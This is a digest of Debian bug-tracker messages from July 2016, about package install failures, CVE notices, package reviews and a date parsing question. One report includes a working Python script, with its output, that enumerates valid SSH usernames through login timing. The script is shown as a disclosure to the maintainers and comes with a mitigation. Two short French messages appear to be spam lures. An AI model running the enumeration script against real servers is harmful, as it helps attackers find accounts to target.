Bug#832573: iproute uninstallable as it serves a file from another package (ifstat)

[Klaus Ethgen]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA512

Package: iproute2
Version: 1:4.6.0-2
Severity: grave

New iproute package is uninstallable as it serves the file
/usr/bin/ifstat which is also in the package ifstat.

Version 4.6.0-1 was fine.

- -- System Information:
Debian Release: stretch/sid
  APT prefers unstable
  APT policy: (500, 'unstable'), (500, 'testing'), (1, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 4.5.7 (SMP w/8 CPU cores)
Locale: LANG=de_DE, LC_CTYPE=de_DE (charmap=ISO-8859-1)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages iproute depends on:
ii  iproute2  4.6.0-1

iproute recommends no packages.

iproute suggests no packages.

- -- no debconf information

- -- 
Klaus Ethgen   http://www.ethgen.ch/
pub  4096R/4E20AF1C 2011-05-16Klaus Ethgen 
Fingerprint: 85D4 CA42 952C 949B 1753  62B3 79D0 B06F 4E20 AF1C
-BEGIN PGP SIGNATURE-
Version: GnuPG v2
Comment: Charset: ISO-8859-1

iQGcBAEBCgAGBQJXmEv0AAoJEKZ8CrGAGfasRR8MAKJINUBXO3vZNr7opc7bxT8E
fzBBLBirJmab3x356p2GLZqKXjYdNSR9Ur67YZqHUVi9mS15KBcEvWNqsFcLYW0I
JfqVOAMyN3zj34Jv5anlx6Ayz/2+HJKDqWQFphIQE0i839PORrCCegDUga7c+vN5
Fxah013kiyLzyJR1sqANlkYhT7WKfvuRhteTW4vktdikXUbKPlDXaY99fRgieuNf
rfjyv2RXfHYmDMBU+TMB9Uppdm2FS0r9zr5myN9mFnOZqEwgkTLWWjSCQD49o0et
R2653qZYnOvA2xG2n7rAkaR/RbKpy46ux7vnpCN8MRCi/s28Z7vSGm0v5mtbzHyx
MtdfxGLTNDUyhXAArFs+E22g5TUFkJhXcvrB3VD7LHu5RtUzxwHKvPScQH79iH5f
k14qW6ySxwE6Mjn68LmHUydXcf2iC6V0qMOmH+pcqxGMrokdcwNlL+sRuaDR9jjF
4NNlHQrtJxfvOt7+LhA08Bg1XKA9v5OSQSgLW0mx7Q==
=a1oA
-END PGP SIGNATURE-

Bug#832572: krb5: CVE-2016-3120: Fix S4U2Self KDC crash when anon is restricted

[Salvatore Bonaccorso]

Source: krb5
Version: 1.10.1+dfsg-5
Severity: important
Tags: security upstream patch

Hi,

the following vulnerability was published for krb5.

CVE-2016-3120[0]:
Fix S4U2Self KDC crash when anon is restricted 

If you fix the vulnerability please also make sure to include the
CVE (Common Vulnerabilities & Exposures) id in your changelog entry.

For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2016-3120
[1] https://github.com/krb5/krb5/commit/93b4a6306a0026cf1cc31ac4bd8a49ba5d034ba7

Please adjust the affected versions in the BTS as needed.

Regards,
Salvatore

Bug#831833: Processed: Re: [Debian-med-packaging] bedtools is marked for autoremoval from testing

[Charles Plessy]

Control: tag -1 +sid

Le Wed, Jul 27, 2016 at 05:03:05AM +, Debian Bug Tracking System a écrit :
> Processing control commands:
> 
> > notfound -1 2.25.0-1
> Bug #831833 [src:bedtools] bedtools groupby broken; will break users 
> pipelines.
> Ignoring request to alter found versions of bug #831833 to the same values 
> previously set

Hmmm... sorry for the noise.

Bug#831833: [Debian-med-packaging] bedtools is marked for autoremoval from testing

[Charles Plessy]

Control: notfound -1 2.25.0-1

Le Wed, Jul 27, 2016 at 04:39:03AM +, Debian testing autoremoval watch a 
écrit :
> bedtools 2.25.0-1 is marked for autoremoval from testing on 2016-09-02
> 
> It is affected by these RC bugs:
> 831833: bedtools: bedtools groupby broken; will break users pipelines.

This bug only affects the new upstream release.

-- 
Charles Plessy
Debian Med packaging team,
http://www.debian.org/devel/debian-med
Tsurumi, Kanagawa, Japan

Bug#832570: tex-common fails to install with fmtutil error

[Norbert Preining]

Hi Wookey,

thanks for your report. THere seems something fishy, and
I can even immagine that there is a problem in the paper
handling, but somehow all this looks strange.

Firt of all, can you please send me the version number of
your packages texlive-base, too.

> l.3 \pdfoutput
> =1

This is strange, indeed.

Your pdftexconfig.tex

> % Set pdfTeX parameters for pdf mode (replacing pdftex.cfg file).
> % Thomas Esser, 2004. public domain.
> \pdfoutput=1
> \pdfcompresslevel=9
> \pdfdecimaldigits=3
> % pdftex paper settings are in pdftexconfig-paper.tex
> \input pdftexconfig-paper.tex
> \pdfhorigin=1 true in
> \pdfvorigin=1 true in
> \pdfpkresolution=600
> % 
> % As of TeX Live 2010, we output PDF 1.5 by default, so we can enable
> % more compression.  To change this for the installation, comment out or
> % delete these lines and remake the formats.  To change it for a
> % particular LaTeX document, \RequirePackage{pdf14} early.
> % 
> \pdfminorversion=5
> \pdfobjcompresslevel=2
> \pdfpageheight   = 297 true mm\pdfpagewidth= 210 true mm
> \endinput

This looks also different to mine, but I have intermediate
not released versions installed.


> I was able to work around this issue by editing
> /usr/share/texlive/texmf-dist/tex/plain/config/pdfetex.ini
> to comment out the 
> \input pdftexconfig.tex
> line

No, please *remove* the file 
/var/lib/texmf/tex/generic/config/pdftexconfig.tex
 and then try as root
mktexlsr /var/lib/texmf
fmtutil-sys --byfmt luatex
if that helps.

If no, please send me the output.

If yes, then please call
tl-paper set all a4|letter
(acording to your taste), and run
fmtutil-sys --byfmt luatex
again. Does this change anything.

All the best


Norbert

--
PREINING Norbert + TeX Live & Debian Developer + http://www.preining.info
GPG: 0x860CDC13fp: F7D8 A928 26E3 16A1 9FA0  ACF0 6CAC A448 860C DC13

Bug#832571: lighttpd: CVE-2016-100021: HTTP Server sets environmental variable HTTP_PROXY based on user supplied Proxy request header (httpoxy)

[Salvatore Bonaccorso]

Source: lighttpd
Version: 1.4.31-4
Severity: important
Tags: security upstream

Hi,

lighttpd added a mitigation for the httpoxy issue, like done for the
Apache webserver.

CVE-2016-1000212[0]:
Mitigation for HTTPoxy vulnerability

If you fix the issue please also make sure to include the CVE (Common
Vulnerabilities & Exposures) id in your changelog entry.

For further information see:

[0] https://security-tracker.debian.org/tracker/CVE-2016-1000212

Please adjust the affected versions in the BTS as needed.

Regards,
Salvatore

Bug#831874: mediawiki: fails to install: mediawiki.postinst: php5enmod: not found

[Kunal Mehta]

Hi,

On 07/20/2016 05:11 AM, Andreas Beckmann wrote:
>   Selecting previously unselected package mediawiki.
>   (Reading database ... 
> (Reading database ... 9448 files and directories currently installed.)
>   Preparing to unpack .../mediawiki_1%3a1.27.0-1_all.deb ...
>   Unpacking mediawiki (1:1.27.0-1) ...
>   Setting up mediawiki (1:1.27.0-1) ...
>   /var/lib/dpkg/info/mediawiki.postinst: 8: 
> /var/lib/dpkg/info/mediawiki.postinst: php5enmod: not found
>   dpkg: error processing package mediawiki (--configure):
>subprocess installed post-installation script returned error exit status 
> 127
>   Errors were encountered while processing:
>mediawiki
> 
> 
> Sounds a bit like an incorrect usage of the php packaging helpers,
> e.g. a missing substvar.

Thanks, I had noticed this as well - it was missed during the PHP5 ->
PHP7 transition. Additionally, MediaWiki no longer needs that
configuration at all, so I'm working removing it entirely:
.

-- Kunal

Bug#832490: gitlab: fails to install if it was previously installed

[Pirate Praveen]

Control: fixed -1 8.9.0+dfsg-8

On Tue, 26 Jul 2016 10:56:21 +1000 Dmitry Smirnov 
wrote:
> Package: gitlab
> Version: 8.9.0+dfsg-7
> Severity: serious
> 
> 
> Creating runtime directories for gitlab...
> mkdir: cannot create directory ‘/var/lib/gitlab/.ssh’: File exists
> 
> 
> Obviously problem was introduced by the following commit:
> 
> https://anonscm.debian.org/cgit/pkg-ruby-extras/gitlab.git/commit/?id=184238ef63376049452d7f86107659f511cb2a85
> 
> Could we please avoid introducing new problems with every GitLab upload?

I'd like to, I can ask you to test it before uploading if you are
interested.

> At least until it is stabilised and becomes installable...

This was required because it would fail otherwise on a clean system
which does not have a .ssh directory. Bugs are part of any development
process, there is a reason we have unstable, testing and stable
branches, if you cannot understand that, I suggest you wait till stretch
release.



signature.asc
Description: OpenPGP digital signature

Bug#832570: Acknowledgement (tex-common fails to install with fmtutil error)

[Wookey]

On 2016-07-27 03:03 +, Debian Bug Tracking System wrote:

I was able to work around this issue by editing
/usr/share/texlive/texmf-dist/tex/plain/config/pdfetex.ini
to comment out the 
\input pdftexconfig.tex
line

Is the problem that pdftex is not installed but I still have config files for 
it?

Wookey
-- 
Principal hats:  Linaro, Debian, Wookware, ARM
http://wookware.org/


signature.asc
Description: Digital signature

Bug#831902: SSH User Enumeration issue still present

[Michael Van Delft]

I have installed this patch on a few servers however the timing issue still 
seems to be present.

I tried setting up a fresh server using the netinst .iso file and I only 
installed the "SSH server" package in the Software selection stage (no other 
packages were install or configuration changes made). I ensured that all the 
packages were up to date.

michael@ssh-test-box:~$ sudo sshd -v
[sudo] password for michael: 
unknown option -- v
OpenSSH_6.7p1 Debian-5+deb8u3, OpenSSL 1.0.1t  3 May 2016
usage: sshd [-46DdeiqTt] [-b bits] [-C connection_spec] [-c host_cert_file]
[-E log_file] [-f config_file] [-g login_grace_time]
[-h host_key_file] [-k key_gen_time] [-o option] [-p port]
[-u len]

Then I ran the POC code (below) and valid users took 22 seconds to fail while 
no invalid users took around 3 seconds.

Setting PasswordAuthentication no in /etc/ssh/sshd_config mitigates this issue.

[michael@ezreal ~]$ python ssh_test.py 
user: alice
0:00:02.039722
[michael@ezreal ~]$ python ssh_test.py 
user: bob
0:00:02.613451
[michael@ezreal ~]$ python ssh_test.py 
user: michael
0:00:22.195203
[michael@ezreal ~]$ python ssh_test.py 
user: eve
0:00:03.564072


# ssh_test.py
import paramiko
from datetime import datetime
user=input("user: ")
p='A'*25000
ssh = paramiko.SSHClient()
starttime=datetime.now()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect('ssh-test-box.internal', username=user,
password=p)
except:
endtime=datetime.now()
total=endtime-starttime
print(total)

Bug#832570: tex-common fails to install with fmtutil error

[Wookey]

Package: tex-common
Version: 6.05
Severity: normal

Dear Maintainer,

I installed hevea in an unstable chroot. That brought in tex-comon
amongst other things. The install failed, producing a fmtutil temp log
file:

Building format(s) --all.
This may take some time... 
fmtutil failed. Output has been stored in
/tmp/fmtutil.f8jZR1xO
Please include this file if you report a bug.
dpkg: error processing package tex-common (--configure):
 subprocess installed post-installation script returned error exit status 1

The failing command seems to be:

fmtutil: running luatex -ini   -jobname=luatex -progname=luatex
luatex.ini' ...
This is LuaTeX, Version 0.95.0 (TeX Live 2016/Debian)  (INITEX)
 restricted system commands enabled.
(/usr/share/texlive/texmf-dist/tex/plain/config/luatex.ini
(/usr/share/texlive/texmf-dist/tex/generic/config/luatexiniconfig.tex)
(/usr/share/texlive/texmf-dist/tex/generic/config/luatex-unicode-letters.tex
loading Unicode properties)
(/usr/share/texlive/texmf-dist/tex/plain/config/pdfetex.ini
(/var/lib/texmf/tex/generic/config/pdftexconfig.tex
! Undefined control sequence.
l.3 \pdfoutput
=1
? 
! Emergency stop.


/var/lib/texmf/tex/generic/config/pdftexconfig.tex is attached.
Oddly, it does not seem to be owned by any package, according to dpkg -S

Attached are the apt output log, the fmtutil log and the
pdftexconfig.tex file. removing the
/var/lib/texmf/tex/generic/config/pdftexconfig.tex  file did not help.

-- System Information:
Debian Release: 8.5
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)

Kernel: Linux 3.16.0-4-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages tex-common depends on:
ii  debconf [debconf-2.0]  1.5.56
ii  dpkg   1.17.27
ii  ucf3.0030

tex-common recommends no packages.

Versions of packages tex-common suggests:
ii  debhelper  9.20150101+deb8u2
Reading package lists...
Building dependency tree...
Reading state information...
0 upgraded, 0 newly installed, 0 to remove and 651 not upgraded.
2 not fully installed or removed.
After this operation, 0 B of additional disk space will be used.
Setting up tex-common (6.05) ...
debconf: unable to initialize frontend: Dialog
debconf: (No usable dialog-like program is installed, so the dialog based 
frontend cannot be used. at /usr/share/perl5/Debconf/FrontEnd/Dialog.pm line 
76.)
debconf: falling back to frontend: Readline
Running mktexlsr. This may take some time... done.
Running updmap-sys. This may take some time... done.
Running mktexlsr /var/lib/texmf ... done.
Building format(s) --all.
This may take some time... 
fmtutil failed. Output has been stored in
/tmp/fmtutil.SetmxtF9
Please include this file if you report a bug.

dpkg: error processing package tex-common (--configure):
 subprocess installed post-installation script returned error exit status 1
dpkg: dependency problems prevent configuration of hevea:
 hevea depends on tex-common (>= 6); however:
  Package tex-common is not configured yet.

dpkg: error processing package hevea (--configure):
 dependency problems - leaving unconfigured
Errors were encountered while processing:
 tex-common
 hevea
E: Sub-process /usr/bin/dpkg returned an error code (1)
fmtutil: fmtutil is using the following fmtutil.cnf files (in precedence order):
fmtutil:   /usr/share/texmf/web2c/fmtutil.cnf
fmtutil:   /usr/share/texlive/texmf-dist/web2c/fmtutil.cnf
fmtutil: fmtutil is using the following fmtutil.cnf file for writing changes:
fmtutil:   /etc/texmf/web2c/fmtutil.cnf
fmtutil [INFO]: writing formats under /var/lib/texmf/web2c
fmtutil [INFO]: --- remaking tex with tex
fmtutil: running `tex -ini   -jobname=tex -progname=tex tex.ini' ...
This is TeX, Version 3.14159265 (TeX Live 2016/Debian) (INITEX)
(/usr/share/texlive/texmf-dist/tex/plain/config/tex.ini
(/usr/share/texlive/texmf-dist/tex/plain/base/plain.tex
Preloading the plain format: codes, registers, parameters, fonts, more fonts,
macros, math definitions, output routines, hyphenation
(/usr/share/texlive/texmf-dist/tex/generic/hyphen/hyphen.tex)) )
Beginning to dump on file tex.fmt
 (preloaded format=tex 2016.7.27)
2027 strings of total length 29296
4990 memory locations dumped; current usage is 110&4877
926 multiletter control sequences
\font\nullfont=nullfont
\font\tenrm=cmr10
\font\preloaded=cmr9
\font\preloaded=cmr8
\font\sevenrm=cmr7
\font\preloaded=cmr6
\font\fiverm=cmr5
\font\teni=cmmi10
\font\preloaded=cmmi9
\font\preloaded=cmmi8
\font\seveni=cmmi7
\font\preloaded=cmmi6
\font\fivei=cmmi5
\font\tensy=cmsy10
\font\preloaded=cmsy9
\font\preloaded=cmsy8
\font\sevensy=cmsy7
\font\preloaded=cmsy6
\font\fivesy=cmsy5
\font\tenex=cmex10
\font\preloaded=cmss10
\font\preloaded=cmssq8
\font\preloaded=cmssi10
\font\preloaded=cmssqi8
\font\tenbf=cmbx10
\font\preloaded=cmbx9

Bug#832495: libreoffice: Extremely slow to redraw UI.

[Andrew King]

Hi,



5.2.0 rc3 is in experimental. You can already try.
(only a rc4 is planned until the final, see 
https://wiki.documentfoundation.org/ReleasePlan/5.2)


After a quick test from experimental (1:5.2.0~rc3-1).

Without any libreoffice-gtk? = slow

with libreoffice-gtk2 = slow

with libreoffice-gtk3 = normal (ie. almost instant).

I will be sticking with the gtk3 version.

Regards,

Andrew

Bug#832550: date: Certain zone abbreviations do not support round-trip conversion

[Bob Proulx]

Mark Stafford wrote:
> I was attempting to write a script something like a world clock to help 
> schedule a task in six time zones.

Are you familiar with the GNU date FAQ entry?  It contains a lot of
useful information concerning date and practical date input formats.

  
https://www.gnu.org/software/coreutils/faq/coreutils-faq.html#The-date-command-is-not-working-right_002e

> Certain zone abbreviations do not support round-trip conversion
...
> # the alias isn't necessary, but it simplifies the demonstration
> alias lax="TZ='America/Los_Angeles' date --date=@1469558444 '+%Y-%m-%d %H:%M 
> %Z'"
> alias syd="TZ='Australia/Sydney' date --date=@1469558444 '+%Y-%m-%d %H:%M %Z'"
> lax
> syd
> date --date "$( lax )"
> date --date "$( syd )"

The GNU date documentation says:

  ‘-d DATESTR’
  ‘--date=DATESTR’
 Display the date and time specified in DATESTR instead of the
 current date and time.  DATESTR can be in almost any common format.
 It can contain month names, time zones, ‘am’ and ‘pm’, ‘yesterday’,
 etc.  For example, ‘--date="2004-02-27 14:19:13.489392193 +0530"’
 specifies the instant of time that is 489,392,193 nanoseconds after
 February 27, 2004 at 2:19:13 PM in a time zone that is 5 hours and
 30 minutes east of UTC.
 Note: input currently must be in locale independent format.  E.g.,
 the LC_TIME=C below is needed to print back the correct date in
 many locales:
  date -d "$(LC_TIME=C date)"
 *Note Date input formats::.

I wish it didn't say "DATESTR can be in almost any common format."
because while it does accept a wide range of input formats it is also
very particular about them too.  That parser and doc is inherited from
the original way-back-when.

But the important part of that documentation is this part:

 Note: input currently must be in locale independent format.  E.g.,
 the LC_TIME=C below is needed to print back the correct date in
 many locales:
  date -d "$(LC_TIME=C date)"
 *Note Date input formats.

And that is the problem with the above.  They are not locale
independent formats.  The problem with locale dependent timezones are
that they are not unambiguous.

> bug symptom:
>   2016-07-26 11:40 PDT
>   2016-07-27 04:40 AEST
>   Tue Jul 26 11:40:00 PDT 2016
>   date: invalid date ‘2016-07-27 04:40 AEST’
> 
> expected behavior:
>   2016-07-26 11:40 PDT
>   2016-07-27 04:40 EST
>   Tue Jul 26 11:40:00 PDT 2016
>   Wed Jul 27 02:40:00 PDT 2016

In order to do what you want to do here it is necessary to use locale
independent date formats.  At least as an input format.  As an output
format other formats may be produced.  But as an input format it needs
to be one of the locale independent formats which are not ambiguous.

I suggest using the numeric timezone using the %z format.  Then it
will work as you expect.  (And while I am there I will compact the
date formats to %F and %T too.)  And note that you were missing the
seconds from your example therefore introducing some error into the
conversion from Unix epoch to timestamp.

Plus I strongly recommend using an unambiguous timestamp output such
as the RFC -R format such as used in mail headers.

  TZ='America/Los_Angeles' date --date=@1469558444 '+%F %T %z'
2016-07-26 11:40:44 -0700
  date -R --date="$(TZ='America/Los_Angeles' date --date=@1469558444 '+%F %T 
%z')"
Tue, 26 Jul 2016 12:40:44 -0600

  TZ='Australia/Sydney' date --date=@1469558444 '+%F %T %z'
2016-07-27 04:40:44 +1000
  date -R --date="$(TZ='Australia/Sydney' date --date=@1469558444 '+%F %T %z')"
Tue, 26 Jul 2016 12:40:44 -0600

As such although this is a deficiency in the parser it is one that is
documented and has been this way since its introduction into date.
Unless someone steps up to rewrite the parser while also maintaining
backward compatibility with input formats, a non-trivial task, I don't
see that anything will be done about it.

Please see the FAQ for a much longer descrition of various issues
surrounding date input formats.

Bob

Bug#827933: RFS: yabar/0.4.0-3 [ITP]

[Sean Whitton]

control: owner -1 !
control: tag -1 +moreinfo

Hello,

I can't sponsor the package, but I hope that the following review is
useful to you.

1. You should install the examples to /usr/share/doc/yabar/examples, not
/usr/share/yabar/examples.  You can use dh_installexamples to do this.

2. Since you are packaging based on git tags not github tarballs (I'm
looking at force-create in your gbp.conf), you might have the watch file
look for git tags rather than tarballs.  Uscan watch file format version
4 can do this.  Not a big deal -- just a suggestion.

3. You should remove the export-dir from gbp.conf: this will override
settings in personal ~/.gbp.conf, arbitrarily selecting a different
build area on other developer's machines!

4. Are you sure about Section: misc?  How about x11?

5. You have a lot of libs listed as dependencies.  These should be
included in ${shlibs:Depends}.  Is dh_shlibdeps not generating the
correct list?

6. You have a build-dependency on git-core, presumably because of the
call to git-describe(1) in upstream's Makefile.  However, you also set
the VERSION environment variable in debian/rules -- though I think your
VERSION in d/rules includes the Debian revision, which might not be what
you want.  Remember that your source package needs to be buildable
outside of a git repository.  You should add some comments to the rules
file explaining why you are setting VERSION and please explain in reply
to this e-mail why you need the git-core build-dep :)

7. Could you explain the Suggests: fonts-font-awesome?

8. You could add some paragraph breaks to the extended description.

9. "plain c" in the description should be "plain C"

10. Why priority 'extra' not 'optional'?  Do you expect a file conflict?

11. Why the tight dpkg-dev dependency?

12. As I said before, please merge your debian/changelog entries to a
single 0.4.0-1 entry, with only the "Initial release (Closes: #xx)"
line.

13. Why a 'low' upload urgency?  Counterintuitively, this means that you
think the package is more likely than usual to be buggy and so it should
take longer to migrate to testing; it doesn't actually mean "less
important".  Unless you think the upload is buggy, you should use
priority=medium.

14. I see you are ignoring .o files in debian/source/options.  Since
your clean target deletes .o files, why do you need this?  If you don't
need it, it would be less confusing if you just deleted it.  Is it
because upstream hasn't merged your fixed clean target patch yet?  I
think it would be more readable to the debian/clean file instead of
debian/source/options.

15. Any reason you haven't forwarded d/patches/fix-typos,
d/patches/makefile-ldflags, and d/patches/makefile-version?

16. Are you sure you need all the lines in your rules file?  I think
that with debhelper compat level 9, it is enough to export
DEB_BUILD_MAINT_OPTIONS and the rest will happen automatically.  Not
sure, though.

17. You could probably add --parallel to the dh invocation.

18. You should install the README (patched to remove the installation
instructions) and the screenshots to /usr/share/doc/yabar.  It looks
like useful documentation that a Debian user probably wants.

On Tue, Jul 26, 2016 at 11:08:21AM +0200, Jack Henschel wrote:
> I recently switched from developing on the debian/sid branch to the
> master branch (hence the latter one has more recent commits). gbp by
> default assumes the build branch is 'master' (except specified via
> --git-debian-branch).  Since I do not yet have a lot of experience
> with gbp, I am uncertain which work flow is better. (Any
> recommendations?)

You can configure the Debian branch in debian/gbp.conf.  Most of us work
on a master branch for unstable, sometimes adding additional branches
for backports etc.  It's definitely up to you so long as your
debian/gbp.conf sets things up for other developers to work with the
package.

It's nice just to merge new upstream versions into a master branch: git
merge 1.2.3 or whatever it is tagged.

> For the most recent version of my work, please use the master branch,
> however the version on mentors is still based off the tag 0.4.0-3 on
> debian/sid branch.

For the record, this review was based off the master branch.

> (Sorry for this 'mess'. Michael Stapelberg has just requested
> colab-maint access for me and then things should hopefully be cleaned
> up.)

collab-maint definitely isn't compulsory, just in case you didn't know.

I haven't actually tried to build, install and run the package yet; I
thought this review was long enough that I should hit 'send' :)

-- 
Sean Whitton


signature.asc
Description: PGP signature

Bug#832569: eric: Can not install plugins (eric5 plugin-repo has been shut down)

[boh]

Package: eric
Version: 5.4.5-1
Severity: important

Dear Maintainer,

I installed eric 5 and tried to open the plugin repository. It gives an parsing
error for ~/.eric5/PluginRepository because it gets HTML back (giving the URL
for the eric6 plugin repository) instead of the format it expected.

I tried changing the configuration to use the eric6 plugin repository and it
allows me to install the plugins but it results in error messages and they
don't work.

Eric 6 needs to become stable ASAP to fix this.



-- System Information:
Debian Release: 8.5
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 3.16.0-4-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.utf8, LC_CTYPE=en_US.utf8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)

Versions of packages eric depends on:
ii  bicyclerepair0.9-6.1
ii  python-chardet   2.3.0-1
ii  python3-pygments 2.0.1+dfsg-1.1+deb8u1
ii  python3-pyqt44.11.2+dfsg-1
ii  python3-pyqt4.qsci   2.8.4+dfsg-1
ii  python3-pyqt4.qtsql  4.11.2+dfsg-1

Versions of packages eric recommends:
ii  eric-api-files  5.4.5-1

Versions of packages eric suggests:
pn  pyqt4-dev-tools   
pn  pyqt5-doc 
ii  python [python-profiler]  2.7.9-1
pn  python-doc
pn  python-kde4-doc   
pn  python-qt4-doc
pn  qt4-designer  
pn  qt4-dev-tools 
pn  qt4-doc-html  
pn  qt5-doc   
ii  ruby  1:2.1.5+deb8u2

-- no debconf information

Bug#832566: systemd-machined breaks automounting nfs shares

[John Pearson]

Hello Michael,

After the problem first occurred I reviewed bug #767468 and purged both 
cgmanager and sytemd-shim, but the problem remained.  And, of course, 
/proc shows systemd-machined (and only systemd-machined) still "thought" 
/nfs/home was mounted.


I've attached the relevant automount map files, and fstab.  I've also 
attached a (slightly truncated) copy of the output of journalctl -alb; 
the problems this morning that prompted my report are logged a few 
minutes after 8am on 27 July.


Regards,


John Pearson.

On 27/07/16 10:07, Michael Biebl wrote:

Control: tags -1 + moreinfo
Am 27.07.2016 um 01:37 schrieb John Pearson:


This appears to be fundamentally similar to Debian bug #767468i, assigned to 
cgmanager.

Do you have cgmanager installed? Is it running?
Please attach your fstab and autofs configuration files.
A journalctl -alb log might be helpful as well.

Somehow I doubt this has anything to do with machined.

Michael



--
*email:*j...@huiac.com  
"The greatest shortcoming of the human race
is our inability to understand
the exponential function."
- Albert Allen Bartlett
*web:*  http://www.huiac.com/
*mob:*  +61 407 391 169
*phone:*+61 8 7127 6275

#
# This is an automounter map and it has the following format
# key [ -mount-options-separated-by-comma ] location
# Details may be found in the autofs(5) manpage
#
home   -fstype=nfs4,nodev,relatime,nosuid,intr  / files:/home
#

# Sample auto.master file
# This is an automounter map and it has the following format
# key [ -mount-options-separated-by-comma ] location
# For details of the format look at autofs(5).
#/misc  /etc/auto.misc --timeout=60
#/smb   /etc/auto.smb
#/misc  /etc/auto.misc
#/net   /etc/auto.net
#
# Auto-mount home directories, for desktops
/nfsfile:/etc/auto.home

# /etc/fstab: static file system information.
#
# Use 'blkid' to print the universally unique identifier for a
# device; this may be used with UUID= as a more robust way to name devices
# that works even if disks are added and removed. See fstab(5).
#
#
proc/proc   procdefaults0   0
/dev/mapper/to--stan-root /   ext3errors=remount-ro 0   1
# /boot was on /dev/sda1 during installation
UUID=dc655aee-d75c-46d7-936a-2db7d26663f8 /boot   ext2defaults  
  0   2
/dev/mapper/to--stan-swap noneswapsw  0   0
/dev/scd0   /media/cdrom0   udf,iso9660 user,noauto 0   0


journalctl-alb.txt.gz
Description: application/gzip

Bug#832568: apktool fails to run on Java 7 because it was compiled to target Java 8

[Simon Ruggier]

Package: apktool
Version: 2.1.1+dfsg-2
Severity: serious
Justification: Policy 3.5

I just installed apktool, and when I run it, it fails like so:
$ apktool
Exception in thread "main" java.lang.UnsupportedClassVersionError:
org/jf/baksmali/baksmali : Unsupported major.minor version 52.0
at java.lang.ClassLoader.defineClass1(Native Method)
at java.lang.ClassLoader.defineClass(ClassLoader.java:803)
at
java.security.SecureClassLoader.defineClass(SecureClassLoader.java:142)
at java.net.URLClassLoader.defineClass(URLClassLoader.java:449)
at java.net.URLClassLoader.access$100(URLClassLoader.java:71)
at java.net.URLClassLoader$1.run(URLClassLoader.java:361)
at java.net.URLClassLoader$1.run(URLClassLoader.java:355)
at java.security.AccessController.doPrivileged(Native Method)
at java.net.URLClassLoader.findClass(URLClassLoader.java:354)
at java.lang.ClassLoader.loadClass(ClassLoader.java:425)
at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:308)
at java.lang.ClassLoader.loadClass(ClassLoader.java:358)
at brut.androlib.ApktoolProperties.loadProps(ApktoolProperties.java:54)
at brut.androlib.ApktoolProperties.get(ApktoolProperties.java:37)
at brut.androlib.ApktoolProperties.get(ApktoolProperties.java:32)
at brut.androlib.Androlib.getVersion(Androlib.java:656)
at brut.apktool.Main.usage(Main.java:438)
at brut.apktool.Main.main(Main.java:100)

The version 52 suggests that the class was compiled to run on Java 8[1]. My
java alternative points at /usr/lib/jvm/java-7-openjdk-amd64/jre/bin/java, so
naturally, this doesn't work.

[1] https://en.wikipedia.org/wiki/Java_class_file



-- System Information:
Debian Release: 8.5
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable'), (102, 'testing'), (101, 
'unstable'), (100, 'experimental')
Architecture: amd64 (x86_64)
Foreign Architectures: i386

Kernel: Linux 3.16.0-4-amd64 (SMP w/8 CPU cores)
Locale: LANG=en_CA.UTF-8, LC_CTYPE=en_CA.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages apktool depends on:
ii  aapt 21-2
ii  android-framework-res1:6.0.1+r43-1
ii  default-jre-headless [java7-runtime-headless]2:1.7-52
ii  libantlr3-runtime-java   3.5.2-5
ii  libcommons-cli-java  1.2-3
ii  libcommons-io-java   2.4-2
ii  libcommons-lang3-java3.3.2-1
ii  libguava-java17.0-1
ii  libjsr305-java   0.1~+svn49-4
ii  libsmali-java2.1.2-1
ii  libstringtemplate-java   3.2.1-2
ii  libxmlunit-java  1.5-1
ii  libxpp3-java 1.1.4c-2
ii  libyaml-snake-java   1.12-2
ii  openjdk-7-jre-headless [java7-runtime-headless]  7u101-2.6.6-2~deb8u1

apktool recommends no packages.

apktool suggests no packages.

-- no debconf information

Bug#832566: systemd-machined breaks automounting nfs shares

[Michael Biebl]

Control: tags -1 + moreinfo
Am 27.07.2016 um 01:37 schrieb John Pearson:

> This appears to be fundamentally similar to Debian bug #767468i, assigned to 
> cgmanager.

Do you have cgmanager installed? Is it running?
Please attach your fstab and autofs configuration files.
A journalctl -alb log might be helpful as well.

Somehow I doubt this has anything to do with machined.

Michael
-- 
Why is it that all of the instruments seeking intelligent life in the
universe are pointed away from Earth?



signature.asc
Description: OpenPGP digital signature

Bug#599018: bonnes nouvelles

[Evgeni Golov]

Bonjour,
J'ai  une bonne  nouvelles pour vous,  vous allez surement l’aimer,  lisez le 
ici s'il vous plaît 

Cordialement, Evgeni Golov

Bug#783849: Fw: mon truc préféré

[Evgeni Golov]

Bonjour,

jeter rapidement un coup d'œil à mes  trucs préférés,  vous  allez adorer! Plus 
ici 


Amicalement, Evgeni Golov

Bug#832567: autodep8: support build profile restrictions in ruby packages

[Stefano Rivera]

Package: autodep8
Version: 0.6
Severity: normal
Tags: patch

Currently if I attempt to run autopkgtest on ruby-cucumber-wire, I get:

> autopkgtest [15:43:52]: ERROR: erroneous package: InvalidControl test 
> gem2deb-test-runner --autopkgtest --check-dependencies 2>&1: Test Depends 
> field contains an invalid dependency `cucumber (>= 2.1) '

Because it has:

> Build-Depends: cucumber (>= 2.1) , debhelper (>= 9.20141010~),
>dpkg-dev (>= 1.17.14), gem2deb, rake, ruby-aruba ,
>ruby-rspec 

The attached patch series should resolve the problem by removing build
profile restrictions from dependencies.

SR
From 01898a9449456ba7c17ad578a915e4688f81979c Mon Sep 17 00:00:00 2001
